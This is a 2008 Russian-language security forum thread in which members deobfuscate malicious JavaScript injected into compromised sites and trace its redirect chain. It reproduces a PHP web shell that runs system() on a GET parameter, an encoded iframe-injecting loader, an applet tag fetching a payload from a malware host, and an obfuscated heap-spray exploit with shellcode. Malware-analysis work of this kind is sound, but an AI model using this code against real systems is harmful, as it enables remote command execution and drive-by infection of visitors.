Сейчас на форуме: tyns777, zombi-vadim (+3 невидимых)

 eXeL@B —› Программирование —› Помогите понять кусочек ява-скрипта
. 1 . 2 . >>
Посл.ответ Сообщение


Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 14:28 · Поправил: ToBad
· Личное сообщение · #1

Нашёл гадостный код в html спрятанный с помощью eval(unescape(. Часть удалось расшифровать, а часть ещё в процессе. Возникли трудности с пониманием куска приведенного ниже. Вопрос собственно в том какой код должна выполнить eval ?

function lOaC(tFne){
var yGULXdv=0, gySLH, esZs = tFne.length;
for(gySLH=0; gySLH<esZs; gySLH++) yGULXdv+=tFne.charCodeAt(gySLH)*esZs;
return new String(yGULXdv)}

var hSJIR=eval('akrkgAuBmqe0n0t0sk.qc0aklBl0eqek'.replace(/[qkBA0]/g, '')).toString().replace(/[^@a-z0-9A-Z_.,-]/g,''),iTPQx=lOaC(hSJIR),fnn wb=new String(),nCp=0;





Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 04 марта 2008 14:58 · Поправил: [HEX]
· Личное сообщение · #2

Ну replace(/[qkBA0]/g,'')
Это замена с помощью регулярки.
Тоесть из строки удаляются все перечисленные буквы.
В итоге из строчки akrkgAuBmqe0n0t0sk.qc0aklBl0eqek получаем arguments.callee

arguments.callee.toString() - это текст функции в которой эта строка и выполнилась.

Опять замена регуляркой replace(/[^@a-z0-9A-Z_.,-]/g,'') - убивает все что не перечислено в списке.
Дальше через запятую это присвоение, определение и снова присвоение.

С функцией думаю разберешся сам? Там ничего спецефичного нет.
Если сам не осилишь, то приводи целиком функцию в которой это хозяйство.
А вообще можно не заморачиваться с пониманием, а тупо вместо eval() подставить alert() и тогда код не выполниться, а выведеться в окошке (в Опере сообщение алерта можно скопировать).

-----
Computer Security Laboratory





Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 16:12 · Поправил: ToBad
· Личное сообщение · #3

Изначально в появившемся на ftp сервере файле haitou.php код был такой:
<?php
$cmd=$_GET['cmd'];
if (isset($cmd)) {
echo system($cmd);
} else {
if(ini_get('safe_mode')){
echo "allyourbasebelongstous_";
} else {
echo "allyourbasebelongstous";
}
}
?> <!-- [ 88636c650df8938331e4ac89b466a532 ] --><script>eval(unescape('function%20pZtqUm%28te..../сокращено/....%27%29%3B'));</script><!-- end -->


После замены первого eval на alert код стал таким:

<code>function pZtqUm(teGg){

function lOaC(tFne){
var yGULXdv=0, gySLH, esZs=tFne.length;
for(gySLH=0;gySLH<esZs;gySLH++) yGULXdv+=tFne.charCodeAt(gySLH)*esZs;
return new String(yGULXdv)}

teGg=unescape(teGg);
var hSJIR=eval('akrkgAuBmqe0n0t0sk.qc0aklBl0eqek'.replace(/[qkBA0]/g, '')).toString().replace(/[^@a-z0-9A-Z_.,-]/g,''),iTPQx=lOaC(hSJIR),fnn wb=new String(),nCp=0;
zBI=0;
for(var aJac=0;aJac<teGg.length;aJac++){
fnnwb+=String.fromCharCode(teGg.charCodeAt(aJac)^(hSJIR.charCodeAt(nCp )^iTPQx.charCodeAt(zBI)));
nCp++;
zBI++;
if(nCp>hSJIR.length) nCp=0;
if(zBI>iTPQx.length) zBI=0;}
eval(fnnwb);
fnnwb='';
return;}

pZtqUm('%32%30%38%35..../сокращено/....%73%2d%32');

А вот дальше если заменять последний eval на alert - получается бред....

Полная версия во вложении.




Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 16:17
· Личное сообщение · #4

Вложение...

f65e_04.03.2008_CRACKLAB.rU.tgz - scr.txt




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 04 марта 2008 17:09
· Личное сообщение · #5

<?php
$cmd=$_GET['cmd'];
if (isset($cmd)) {
echo system($cmd);
} else {
if(ini_get('safe_mode')){
echo "allyourbasebelongstous_";
} else {
echo "allyourbasebelongstous";
}
}
?>

Это примитивный бэкдор он же шелл на пхп и никак не связан с явоскриптой.

А вот каша при расшифровке получается потому что длина меняется строки после замены eval() на alert() !
А длина тут участвует в дешифровке.

Так что надо ручками фиксить этот недочет. Если что получится я напишу.

-----
Computer Security Laboratory





Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 04 марта 2008 17:43
· Личное сообщение · #6

Писателю данного шифровщика мои аплодисменты. Пока это первый яваскрипт над котором пришлось ручками поработать и головой, а не тупой заменой на alert()

В общем вот скрипта расшифрованая.

a098_04.03.2008_CRACKLAB.rU.tgz - virus.js

-----
Computer Security Laboratory





Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 17:45
· Личное сообщение · #7

[HEX] пишет:
А вот каша при расшифровке получается потому что длина меняется строки после замены eval() на alert()


А если создать функцию evax в которой вызывать alert ?




Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 17:55
· Личное сообщение · #8

Опоздал я с постом... [HEX] - спасибо за скриптик ! Если в двух словах, то многие обнаружили у себя на ftp серверах файл haitou.php по моему 28.02.2008... Гугл расскажет подробней. Не понятен принцип зачем такой скрипт засылать на халявный хостинг на narod.ru либо chat.ru... Ну и конечно удивляет массовость... Люди пишут что пароли к фтп были сложные... Интересно всё это.
Кстати поиск в гугле eval(unescape( показывает вполне нормальные странички заражённые этим, например h..p://www.colorsky.ru
То есть весь предыдущий код нужен для получения и выполнения функции из вложения ?
А если в двух словах, то что делает этот вирь ?




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 04 марта 2008 18:08 · Поправил: [HEX]
· Личное сообщение · #9

ToBad
упс... ступил =) но чувствую что могло и не прокатить если кроме длины участвует и каждый символ при расшифровке (типа хэша вычисляется от всего кода и потом этим хэшом расщифровывается переданая строка). Я востановил все как положено и получил "хэш" и уже дальше работал с этим хэшом.

Я попытался вникнуть в скрипт и особо ничего вредного в нем не обнаружил кроме как заруливания трафика с помощью ифрейма и создания куки с пометкой инсталлирован или нет. Вся метода запутывания тут сводиться к тупому замусориванию строчек и этот мусор убирается регуляркой. Так что если в человеческий вид захочешь привести, то замени строчки на нормальные и будет проще читать.

Коды на фтп сложные, но пинчей хватают многие, а тут уж какой бы пароль небыл все равно уплывет. Одну подобную админку выцепил. Возможно имеет к этому какое то дело hxxp://shivaom.net/classes/
Ну и 2traff.cn думаю тут тоже замешан.

-----
Computer Security Laboratory





Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 04 марта 2008 18:17
· Личное сообщение · #10

Более читабельный вид.

2955_04.03.2008_CRACKLAB.rU.tgz - virus.js

-----
Computer Security Laboratory





Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 18:25
· Личное сообщение · #11

[HEX] пишет:
Коды на фтп сложные, но пинчей хватают многие


Получается пинч схватили хостеры narod.ru и chat.ru ? Таким образом у меня на гавностраничке этот файлик появился ? Кстати все html тоже содержали подобное г. Причем по 3-4 вставки...




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 04 марта 2008 18:34
· Личное сообщение · #12

ToBad
Может конечно и админ хостинга, но что то меня терзают смутные сомнения что народ.ру хранит пароли открытым текстом

А кроме админа народа знает пароль наверное сам создатель сайта (тоесть ты сам). Так что смысл понимаешь кто мог подцепить пинча?

В итоге получаем сцыль на следующего формата hxxp://localhost.7d556ec17a92a7fb.2traff.cn/traff2.cn/
localhost - это имя задефейсеного хоста, потом случайная компбинация 0-9a-f, 2traff.cn/traff2.cn/
Ну а там уже пытаються впарить тебе говно по самые помидоры так что кто хочет проверить свой антивирусник можете прогуляться по адресу.

-----
Computer Security Laboratory





Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 18:54
· Личное сообщение · #13

[HEX] пишет:
А кроме админа народа знает пароль наверное сам создатель сайта (тоесть ты сам). Так что смысл понимаешь кто мог подцепить пинча?


Я не спорю, что мог подцепить пинча, просто не сходится кое что. У меня все ftp вбиты в фаре, в открытом виде, естественно пинч их увёл бы, а кроме 2-х на народе и одного на чате было и семь нормальных ftp серверов. Это г. завелось только на народе и чате...




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 04 марта 2008 19:32
· Личное сообщение · #14

ToBad
Кто то мог продать левые сайты (3 уровня) по дешевке.
У них же бизнес на всем! Кто то отчеканые списки продает, кто то трафик. Ну а кто то покупает трафик или списки чтобы потом приумножить это хозяйство с помощью приватного сплойта.
В общем деньги делаются на всем. Я конечно не исключаю факт взлома народа, но как то мне оно собо не вериться. Об этом уже в инет новостях растрезвонили бы.

-----
Computer Security Laboratory





Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 04 марта 2008 20:24
· Личное сообщение · #15

[HEX]
Всё понял ! Спасибо за разъяснения и помощь !




Ранг: 238.8 (наставник), 67thx
Активность: 0.20
Статус: Участник
CyberHunter

Создано: 05 марта 2008 10:23
· Личное сообщение · #16

А что сделает этот код?
<script language=javascript>
document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67 %65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E% 20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%7 3%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B %20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E% 6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6 F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74 %28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31% 2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%7 3%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264 Djgsbnf%2631xjeui%264E2%2631ifjhiu%264E2%2631tuzmf%264E%2633cpsefs%264 B%26311qy%264C%2633%2631tsd%264E%2633iuuq%264B00xxx/hpphmf.tubujtujd/d o0joefy/qiq%264Gxnje%264E%3A7%2633%264F%264D0jgsbnf%264F1')
</script>

-----
Nulla aetas ad discendum sera




Ранг: 50.2 (постоянный)
Активность: 0.010
Статус: Участник

Создано: 05 марта 2008 11:10
· Личное сообщение · #17

Flint
втыкает
<iframe width=1 height=1 style="border: 0px;" src="hххp://www.google-statistic.cn/wmid=96"></iframe>




Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 05 марта 2008 11:31
· Личное сообщение · #18

Flint в любом случае думаю нормальный код никто прятать с помощью unescape не будет. Нет есть конечно программы для защиты таким способом, но это явно не оно...



Ранг: 25.1 (посетитель)
Активность: 0.010
Статус: Участник

Создано: 05 марта 2008 11:56 · Поправил: RUNaum
· Личное сообщение · #19

Malware/spyware.

> Exploit loading SpySnipe spyware:
> hxxp://www.google-statistic.cn/wmid=93

google-statistic.CN - не гугловский ресурс, фейк.

--

Относительно ТС.
Информация собрана по крупицам + проверена.

вирус работает только под IE. по user-agent проверяется какой браузер, срабатывает только под IE/клонами, если отлаживать под фоксом, придется менять user-agent в конфиге.

одназначно устанавливает куки дабы потом ему не напрягатся и каждый раз запрашивать данные с левого сервера, вот почему при повторных попытках запрос к серверу не происходит.

Далее, при первом запросе идет скрытая подгрузка с адреса
hxxp://XXX.YYY.2traff.cn/traff2.cn/
XXX - localhost, как видно из скрипта
YYY - рандом (hex)

По этому адрес возращается шапка с параметром
"Location hxxp://updates.4traff.cn/updates/index.php"

соответсвенно редирект. Напоминаю, что ответ на редирект будет происходить при условии, что сервер опознает браузер как IE. происходит редирект, и подгрузка со следующих адресов:

hxxp://updates.4traff.cn/updates/javac.php
hxxp://updates.4traff.cn/updates/com.php

по первому делается попытка внедрения опасного апплета на невидимую загрузку тела вируса, находящегося по адресу hxxp://updates.4traff.cn/updates/load.php

Код:
<applet archive="java.php" code="BaaaaBaa.class" width=1 height=1><param name="url" value="http://updates.4traff.cn/updates/load.php"></applet><meta HTTP-EQUIV="REFRESH" content="2; URL=com.php">

По второму, на всякий случай, наверное, внедряется еще javascript код, наверное использующий какую-то другую уязвимость:

Код:
<script>
x=unescape("%wuz9z0U9U0q%tuq9w0z9U0U%zuU1w8w6UAq%wut6t4U5qBq%quq0q3U8t Bz%UuU4z0z8tBz%zuw8zBz3w0t%tuq1U8U4U0t%wut5U8q0U5U%quq0z0U0z1z%tuz3z3q 0t0t%Uuw8q9wDz2w%UuU8z9q1t0q%tuw0z4z5w0z%tuU5q0w8z9U%wuq8q9z0w8z%Uuw0z Cw5w0w%zutCU0U8t3w%wuU8q9z2t8z%zut8z9q0t0q%tuz0U4z4q0w%tuqCw0t8w3z%tuw 6z6U0U8U%Uuq7t8q3zDt%Uut7tCz0w5q%zut8wBzFU2w%UuU8q1qDz8q%zuz9U0UCt3U%w uw0q0t0w0U%UuU8w9U0U0w%wuU3z3U1q8w%zut8q3UDq2z%quq0z4zCq0U%tut1U0q8q9q %quqCt0w8q3U%UuU8w1z0q4w%zut8w0tCU3z%wuq0U0t0q0w%Uut8z9t0U0U%tuz3z3w1U 8t%tuU8w9UCq0t%zuq8q3q0w3q%tut0w4tCU3t%Uuw8z1z6U6q%Uuq8U8qFzBz%zut7zCU 1tEU%zuU8UBtFz4t%tuz8z1wDq3z%wuw7U0UEqBw%Uuw0U0t1zEz%tuU6U6t0z0w%tuq3w 3w8zBw%wuU8U9t6q6q%zut4z2U3w2z%zuwCq6U4t2q%tuU0q8z0z2w%Uut6t6z4z2q%zuq 3t2z8qBq%quq3w1z6z6t%wut4w2q3t2U%wuwCt6w4w2q%zuU1z4z0U2t%Uut6w6q4U2U%U uq3t2q8UBw%tuw3t1q6t6z%quU4t2U3q2q%quq6z6t4U2q%UuzCU3w8q1U%quU0w1q6t0t %Uuz1q3z8z9q%wuz5w3q8w9q%tuz8U9q0t4t%tuw8U9w1wAU%tut0z4t5wAz%wuz9U0U9w 0z%qut9U0z9w0q%tuU9w0U9t0q%Uut0qfteqbq%quz3q3z5Ubt%Uuw6q6Ucq9w%tuw8z0t bU9U%quz8t0w0t1U%tuUeqfq3q3z%tuUez2t4q3U%quqeqbUfUaz%zuwet8z0w5U%quzfq fzeqcU%wuzfqfUfUfU%quw8wbU7qfw%zutdtfU4qeU%tuzezfwezfw%quz6t4weqfq%wuU eU3Uaqfw%Uuq9tfU6w4t%qut4q2wfz3z%Uuw9zfU6w4w%quz6zewez7z%zuqeqfz0q3t%q uUewfqetbt%wuq6U4zeUfq%wuqbU9z0U3q%quz6w1q8z7U%quUeq1UaU1w%Uut0U7U0U3t %zuUeUfU1z1z%wuzetfqewfz%quwawaU6t6z%quwbU9tetbq%wut7t7q8w7q%zut6q5U1w 1z%tuw0z7qeq1w%zutetfq1wfU%Uuqezftetfq%UuqaUat6q6z%tutbU9wew7t%UuUcUat 8z7q%wuU1t0t5tfU%Uuq0w7t2wdz%zuteUfq0tdU%wuUewfUeUfU%Uuqawaq6q6q%quUbz 9zez3z%qut0q0w8U7t%Uuw0UfU2z1q%tut0w7t8Ufw%tuzeUfU3tbq%tuzewfUezfU%Uuw azaU6t6t%wuqbU9wfUfz%wuU2UeU8q7w%zuw0Uaq9q6U%zuw0z7U5t7t%wuzewfw2w9w%U uzetftezfw%wuUataz6U6w%quUatfUftbw%quqdq7z6Uft%quw9waq2Ucq%qut6U6q1w5U %quUfz7qataq%wutez8w0q6U%wuzewfqeqeq%Uuqbq1qeqfU%Uuq9waU6U6w%zuU6U4Uct bq%tuqetbtataw%zuqewet8U5q%quw6z4zbU6t%tuwfw7tbqaz%quq0w7tbU9w%tuteUfz 6t4U%quzetfUewfq%UuU8q7wbqfw%wutfz5tdt9w%wuU9zfzcz0U%wuz7w8w0z7q%Uuqet fUewft%Uut6q6qewfU%tutfz3zataq%quq2UaU6t4q%UuU2zfz6zcz%tut6z6zbqfz%tut cqfwawaw%tuz1w0t8z7t%Uuwewfqewft%zuUbwfteqfU%quzaqaU6z4w%qut8z5zfUbU%U uqbt6wewdU%Uuwbtaq6q4w%Uut0t7zft7z%qutetft8Uez%quwetftetfq%wuwatateqcU %Uuq2q8Ucwfz%Uuzbz3zetfq%wutcU1U9t1t%quz2q8U8UaU%zuzewbtaUfq%wut8tat9U 7q%wuqeqfteqfw%quq9taw1q0q%zuw6U4tcUfU%quUez3zaUat%Uuteqew8q5q%quz6w4q bU6w%tutfU7tbtat%quzatfw0q7q%quteqftewfq%tuU8t5tetft%UuUbU7weU8w%tuqaz azezct%tuqdqcUcwbt%tuzbqcq3t4q%Uuz1z0tbwcz%quUcqfw9UaU%quqbqcqbqfq%wuq azaU6t4t%quU8U5zfU3U%quUbz6zewaw%Uuwbzaw6z4U%tuU0U7qfq7q%qutetftcqcz%q uzeUftezfU%quzezfq8U5U%wuz9qaw1U0q%tuU6t4qcqfw%UuteU7taUaq%quzetdw8q5q %zuz6U4zbU6t%wutfU7Ubzaz%quwfqfz0U7q%quqezftewfw%tuq8t5wewfU%wuU6z4t1z 0w%UuzftfUaqaq%Uutetez8t5q%tuU6z4wbU6q%tuwfU7zbwaw%qutetfU0q7w%quwetfq ezft%wuqazeqeUft%quqbqdqbU4t%qut0zeUetcU%zut0Uetetcq%wut0weqeUcq%zuz0z ezetct%tuU0q3U6tcw%zuUbt5qewbz%quU6z4zbqcw%tuU0Udt3t5t%tuzbzdw1w8U%wuw 0Ufw1U0t%zuw6t4wbqaq%quw6q4w0z3t%quwet7w9z2q%zuzbq2w6q4z%zuwbw9tew3U%z uU9tcz6t4w%Uuw6q4tdq3U%zuUfU1t9zbq%tuwetct9z7q%tutbt9U1qcz%zuU9q9z6t4w %tuweqctcqft%wutdqcz1qct%tuqaz6z2w6w%wuw4q2qaUeq%Uuq2tczeUct%UuUdqczbw 9w%quUet0q1U9U%quzftfU5w1q%zuq1zdtdt5z%quteU7w9zbt%tuq2U1q2weq%tuzeUcU eq2t%Uuzatfz1qdU%wut1zeU0q4t%Uut1t1qdz4z%quU9taqbU1q%tuUbw5t0zaw%zuq0z 4t6t4z%UuzbU5U6z4U%quqewctczbw%UuU8t9t3t2q%Uuwew3z6w4w%quU6U4zaw4w%tut fU3qbU5t%tuz3q2zewcU%Uutetbw6q4z%qutezcq6w4q%zuwbq1w2tat%qut2UdqbU2q%U uqewfqet7z%wuU1wbq0t7w%qut1t0t1z1U%quUbtat1w0t%tuUaw3tbUdw%zuzat0waz2U %zuwetfUaU1z%zuw7w4U6q8U%zuw7q0q7t4z%Uuq2Ufw3Uat%tuw6q4t2wft%tuq7t6w6z 5q%zuU6t1U2UeU%wuq7q2z6q5q%tuU3w4t6UfU%UuU6w3w2qew%wuz2zfq6weq%zuU6U4U 6q1q%wuw6t1q7q0w%Uuz6zbq6q3t%tuz6zcz2tfz%zuw6w1t6Ufw%zuq2tet6t4z%zuw6U 8t7t0t%qut0z0t7t0q%tuU0t0z0z0q".replace(/[zwqUt]/g, ''));
tu=unescape("%1u10OdO01dO%XuO0od101d1".replace(/[1oXOW]/g, ''));
var memz=parseInt("0NxNdE0%dr0%dE0%dE".replace(/[E%rNF]/g, ''));
while(tu.length<0x40000) tu+=tu;
tu=tu.substring(0,parseInt("0ux83Ifuf8eu4I".replace(/[Q6Iu8]/g, ''))-x.length);
o=new Array(); for(i=0;i<450;i++) o[i]=tu+x;z=Math.ceil(memz);
var nbqnb =("C%LASVIeDA:eEeCs4e4V4sC%BA6e-A3sEs7VEs-A4%8%6e5A-VBA1%Ce3V-%0VD%EV7 %2sEeFV3A9sBs3AFV".replace(/[sVeA%]/g, ''));
document.write("<%oRb%j%eRcztR %cwlza%s%sziwdz=w"%n~bzq~n~bz"z>R<%/~oRbwjze~c%tw>w".replace(/[Rz%w~]/ g, ''));
eval("zj=jdjo%cUuymje%nMtj.ysycUrjiUpUtjsy[j0U]M.jc%rMe%a%tUeyCMo%nMtM rjo%l%RMajn%gje%(j)M.MlUe%nMgytjhU".replace(/[jU%yM]/g, ''));
</script>




Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 05 марта 2008 13:03
· Личное сообщение · #20

RUNaum Спасибо за детальное описание ! IE - зло. Если раньше только с порносайтов людям лезло всякое г. то теперь полно вполне приличных ресурсов которые распространяют гавнокод не подозревая об этом....




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 05 марта 2008 13:29 · Поправил: [HEX]
· Личное сообщение · #21

RUNaum
Тоже самое и я писал Инфа раскидана по постам в этом топике.
Кроме 2traff.cn по той же методе работают hxxp://shivaom.net/classes/

ToBad
Подобная метода уже давно практикуется! Так что чтобы цепануть вирус не обязательно ходить по порно/кряко сайтам. Достаточно просто походить по инету с помощью IE (на мозилу с оперой как то меньше сплойтев).

-----
Computer Security Laboratory





Ранг: 450.3 (мудрец), 13thx
Активность: 0.20
Статус: Участник

Создано: 05 марта 2008 17:00
· Личное сообщение · #22

Хотя для меня вопрос и исчерпан, я не буду закрывать топик, ибо его можно использовать как ответвление от топика "Прислали трояна..успешно", что в принципе уже и делается...



Ранг: 2.0 (гость)
Активность: 0=0
Статус: Участник

Создано: 21 марта 2008 06:50
· Личное сообщение · #23

Спасибо [HEX] за разбор скрипта. Можешь сказать подробнее где в скрипте происходит привязка к его размеру.



Ранг: 38.3 (посетитель)
Активность: 0.020
Статус: Участник

Создано: 21 марта 2008 21:28
· Личное сообщение · #24

www.colorsky.ru
Подгрузился файлик file.exe, жесть, прям на рабочий стол )). Антивирь даже глазом не моргнул .

файлик: rapidshare.com/files/101290991/file.7z
пасс: pass



Ранг: 66.8 (постоянный)
Активность: 0.030
Статус: Участник

Создано: 21 марта 2008 22:13
· Личное сообщение · #25

есть такая программка malzilla, написанная специально для раскриптовки таких скриптов
malzilla.sourceforge.net/tutorial01/index.html



Ранг: 210.5 (наставник), 2thx
Активность: 0.140
Статус: Участник

Создано: 21 марта 2008 22:26
· Личное сообщение · #26

UsAr пишет:
есть такая программка malzilla, написанная специально для раскриптовки таких скриптов


Я щас копаюсь в этом скрипте (расшифровывал вручную), он использует для расшифровки финального кода который eval-иться в конце, как ключ сам себя, если переименовать переменные, расшифруется не правильно. Так что сначало нужно взять строку ключа чтобы использовать в скрипте.




Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 21 марта 2008 22:37
· Личное сообщение · #27

scripter
Там не длина, а само содержимое участвует в дишфровке. Если изменишь код, то и не расшифруешь.
Если расматривать пример ToBad, то в начале топика он постил кусок кода function lOaC(tFne)
Вот он и вычисляет типа хэша от шифрованого кода, а потом с помощью этого хэша и расшифровывает код. Так что тут нужно всего лишь вычислить реальный хэш не меняя скрипта А потом уже с помощью хэша и распаковать код.

UsAr
Интересно. Нужно посмотреть на досуге. Надеюсь он не исполняет код, а только имеет какую то логику по дешифрации подобных скриптов иначе может где то глюкнуть и прощай система, здравствуй ботнет.

-----
Computer Security Laboratory





Ранг: 467.7 (мудрец), 5thx
Активность: 0.270
Статус: Участник
Иной :)

Создано: 21 марта 2008 22:38 · Поправил: [HEX]
· Личное сообщение · #28

arnix
Все верно. Код менять нельзя иначе жопа. Пиши обертку внешнию которая посчитает хэш от упакованого скрипта и потом уже тогда сможешь сам самостоятельно расшифровать.

4t
Ошибся топиком. Тут JS разбираем, а не пинчи (наверное). Тебе сюда http://exelab.ru/f/action=vthread&forum=2&topic=6500

-----
Computer Security Laboratory




Ранг: 210.5 (наставник), 2thx
Активность: 0.140
Статус: Участник

Создано: 21 марта 2008 22:53 · Поправил: arnix
· Личное сообщение · #29

вот, расшивровал, если кому-то интересно (так легче продолжить исследование) но не проверял работает-ли (на vmware щас не могу тестить)

p.s
пароль: danger + unescape('%20%20%20');


a3db_21.03.2008_CRACKLAB.rU.tgz - Untitled.rar



Ранг: 210.5 (наставник), 2thx
Активность: 0.140
Статус: Участник

Создано: 21 марта 2008 23:12
· Личное сообщение · #30

исправил ошибку

a3db_21.03.2008_CRACKLAB.rU.tgz - Untitled.rar


. 1 . 2 . >>
 eXeL@B —› Программирование —› Помогите понять кусочек ява-скрипта
:: Ваш ответ
Жирный  Курсив  Подчеркнутый  Перечеркнутый  {mpf5}  Код  Вставить ссылку 
:s1: :s2: :s3: :s4: :s5: :s6: :s7: :s8: :s9: :s10: :s11: :s12: :s13: :s14: :s15: :s16:


Максимальный размер аттача: 500KB.
Ваш логин: german1505 » Выход » ЛС
   Для печати Для печати